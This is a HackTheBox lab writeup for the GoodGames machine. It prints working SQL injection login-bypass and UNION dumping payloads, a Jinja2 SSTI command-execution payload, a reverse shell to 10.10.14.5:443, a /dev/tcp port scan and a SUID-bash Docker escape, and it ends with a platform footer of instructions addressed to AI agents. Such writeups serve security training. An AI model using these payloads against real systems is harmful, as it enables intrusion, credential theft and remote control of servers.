> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md).

# GoodGames HackTheBox Writeup

GoodGames HackTheBox Easy Linux machine writeup covering Exploiting Union-Based SQL Injections, Hash Cracking Weak Algorithms, Password Reuse, Exploiting SSTI, with practical enumeration, exploitation

{% embed url="<https://www.google.com/url?q=https://app.hackthebox.com/machines/446&sa=D&source=calendar&usd=2&usg=AOvVaw2ko0ihHJ569fSXeaF46YAQ>" %}

{% hint style="warning" %}
**Skills:**

* Exploiting Union-Based SQL Injections
* Hash Cracking Weak Algorithms
* Password Reuse
* Exploiting SSTI
* Basics of Docker Breakouts
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-220378041f08680d22e86ae2ac03dd3194ba7a87%2Fimage%20(1304).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-609bd3d096dd63d6df13b806f28825219674a3ae%2Fimage%20(1305).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.130 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f68e370fed960fd95dce793f0c6de8c1e0105642%2Fimage%20(1306).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (80)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-436b8f76324ed607187f420d638465820bf0b533%2Fimage%20(1307).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Port version scan with Nmap:

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p80 10.10.11.130 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e98ce21a35fbcca275817080fc6824cfa45e8f07%2Fimage%20(1309).png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-426bcd77c3260dcaf1e5419c40ed9ba2ef49ece5%2Fimage%20(1310).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0d89000d3f2ee70034fdd1eeb976e18683ef2873%2Fimage%20(1311).png?alt=media" alt=""><figcaption></figcaption></figure>

**Directory search:**

We use Gobuster to search directories on the site:

```bash
gobuster dir -u http://GoodGames.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 9265
```

We find a signup directory.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-762886ff9cd846a436f39f66935f542a95567239%2Fimage%20(1313).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f1d619b483cfb3bb376ab94526a98d50472e85b1%2Fimage%20(1312).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability Sql Injection:

Using **Burp Suite**, we can intercept the request allowing us to test SQL injection.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fad7f8a3ef8b964bcb96308a2a4a7d7f8b2f10f4%2Fimage%20(1316).png?alt=media" alt=""><figcaption></figcaption></figure>

### Basic SQL Injection:

To bypass authentication with a simple injection, we use:

```bash
admin ' or 1=1-- -
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-18f669c5735cc01e9f5a03a89a16ffb8b739da38%2Fimage%20(1317).png?alt=media" alt=""><figcaption></figcaption></figure>

This type of injection forces the condition to always be true (`1=1`), allowing access to the admin panel bypassing credential checks.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e069415739e6d76d472d7890b0f8f2d5bd4f03f%2Fimage%20(1318).png?alt=media" alt=""><figcaption></figcaption></figure>

### UNION-based injection

With a **Union-Based SQL** injection, we try to determine the number of columns to structure the queries in a way compatible with the database. Example:

```bash
admin' union select 1,2,3,4-- -
```

The server returns a response indicating a "login successful," showing that there are 4 columns.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-698bbad39c8cd602c947d4a33bfa49911b2193e2%2Fimage%20(1323).png?alt=media" alt=""><figcaption></figcaption></figure>

#### List Databases

To list the name of the current database, we use:

```bash
admin' union select 1,2,3,database()-- -&password=admin
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b1a76abf34c437989b0b243987fd48c11a43745%2Fimage%20(1325).png?alt=media" alt=""><figcaption></figcaption></figure>

Then, to get all available databases:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin
```

{% endcode %}

Result: `information_schema`, `main`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0da0d768c6aefc3b21ac71b9fb2b8ce356ca35dd%2Fimage%20(1326).png?alt=media" alt=""><figcaption></figcaption></figure>

#### List Tables

After identifying the `main` database, we list the tables in this database to explore the stored structures:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -
```

{% endcode %}

Tables found: `blog`, `blog_comments`, `users`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e4f6af722deccf30df46101b49268a16c4248a45%2Fimage%20(1327).png?alt=media" alt=""><figcaption></figcaption></figure>

List the Columns of a Table

For the `users` table, we list the available columns:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- -
```

{% endcode %}

Columns found: `email`, `id`, `name`, `password`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1065cfdfbb6af2c3762964ea07a981da44aa5e6a%2Fimage%20(1328).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Extraction of User Data

We then extract the data from the `users` table:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- -
```

{% endcode %}

USER: `Admin`

EMAIL: `admin@goodgames.htb`

PASSWORD (hash): `2b22337f218b2d82dfc3b6f77e7cb8ec`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37e874f47fb479d7b0446483254a35242ef8ba07%2Fimage%20(1329).png?alt=media" alt=""><figcaption></figcaption></figure>

### Password Decryption

You can use **CrackStation** to decrypt the MD5 hash obtained and recover the password in clear text.

{% embed url="<https://crackstation.net/>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d646004eda9b866c1d43bfa0778ff665bda682a%2Fimage%20(1330).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability SSTI:

### Access to a Subdomain

To access a discovered admin subdomain, add it to the `/etc/hosts` file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-04e9564400aae0f6e0ae5717173226aca9803a8f%2Fimage%20(1319).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a137db7529f4a15cbc529d5cabf39bfa0e8b5234%2Fimage%20(1320).png?alt=media" alt=""><figcaption></figcaption></figure>

Finally, with the **admin** credentials, you can authenticate on this subdomain.

`admin:superadministrator`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3a3a43b1e8d2cd9ae9f9c78038b3a9dcd5b9f45%2Fimage%20(1331).png?alt=media" alt=""><figcaption></figcaption></figure>

In the subdomain you will find a **Settings** tab where you can edit the admin user information (full name, date of birth and phone).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e13fb07dd359ad95f4f313c0d0ef14d95c5990a%2Fimage%20(1294).png?alt=media" alt=""><figcaption></figcaption></figure>

If in the "full name" form you attempt to execute an SSTI attack, the server is vulnerable. To test this with `{{ }}`, let's try to see if it interprets the calculation:

```python
{{1+1}}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4934eb1d123fb8fa51f330cecad8d89dbf13ed00%2Fimage%20(1295).png?alt=media" alt=""><figcaption></figcaption></figure>

Next, we'll run commands (for example, `id`):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

We discover that he is in the `root` group.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6653e480725ac2a2dbb912780caccef3ba8e5eba%2F%7B618B071D-718C-41A7-A0D3-215BFB9B750B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We will create a reverse shell to access the server

```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }}
```

We listen to port 443 on our attack machine:

```bash
nc -nlvp 443
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b513b3559ef0294fcf68fe9ccccdd4e7fa9c9e0f%2Fimage%20(1296).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Flag : user.txt** :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b348c9054e9bfb64d82510af3631cf78923a5fa2%2Fimage%20(1297).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation :

Once you have access to the Linux server, here are the commands to perform for processing in the terminal:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

This will allow you to work much more efficiently and, above all, more comfortably.

### Docker Escape:

We observe that the IP address is not that of the machine (machine IP: 10.10.11.130; Docker container IP: 172.19.0.2).

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fa0edfbc9cd7fd2070ffb21d46fd8c0fdc804214%2Fimage%20(1298).png?alt=media" alt=""><figcaption></figcaption></figure></div>

We will scan the ports manually, since `nmap` is not installed on the gateway (172.19.0.1):

```bash
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT
&>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
```

We observe that port 22 is open (internally), so we can connect via SSH.

```bash
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT&>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2229af16fd380ac9f30d76b7ea77f4c407bf9127%2Fimage%20(1299).png?alt=media" alt=""><figcaption></figcaption></figure>

If we try to log in with the root account using the password `superadministrator` we cannot log in, but with `augustus` we manage to get a shell.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-182425faa9fbed82bef8d51f2848e46301c10510%2Fimage%20(1300).png?alt=media" alt=""><figcaption></figcaption></figure>

### Bash SUID from Docker

Since in the Docker container, we are root, we will copy the bash binary from the normal host of the machine into the home directory of `augustus`:

```
cp /bin/bash .
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5fba166e3d9fc6be038931b26c6a4578106dafb4%2Fimage%20(1301).png?alt=media" alt="" width="556"><figcaption></figcaption></figure>

From Docker root, we will authorize the root group for this bash file and SUID permissions so that it runs as root:

```bash
chown root:root bash
chmod 4777 bash
```

We return to the SSH and we see:

`-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-802665bac0948d007a6c71c54da3317d9da00295%2Fimage%20(1302).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Root Flag Obtained :)**

`./bash -p`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bd5ee464df2df34a50c900751373dd22fc4f23f%2Fimage%20(1303).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a6d434ebbf5dd5eb099d2599df50fadecfddff1%2F%7B0BBA635D-1E6A-429D-9945-FBBFA6784D00%7D.png?alt=media" alt="" width="528"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
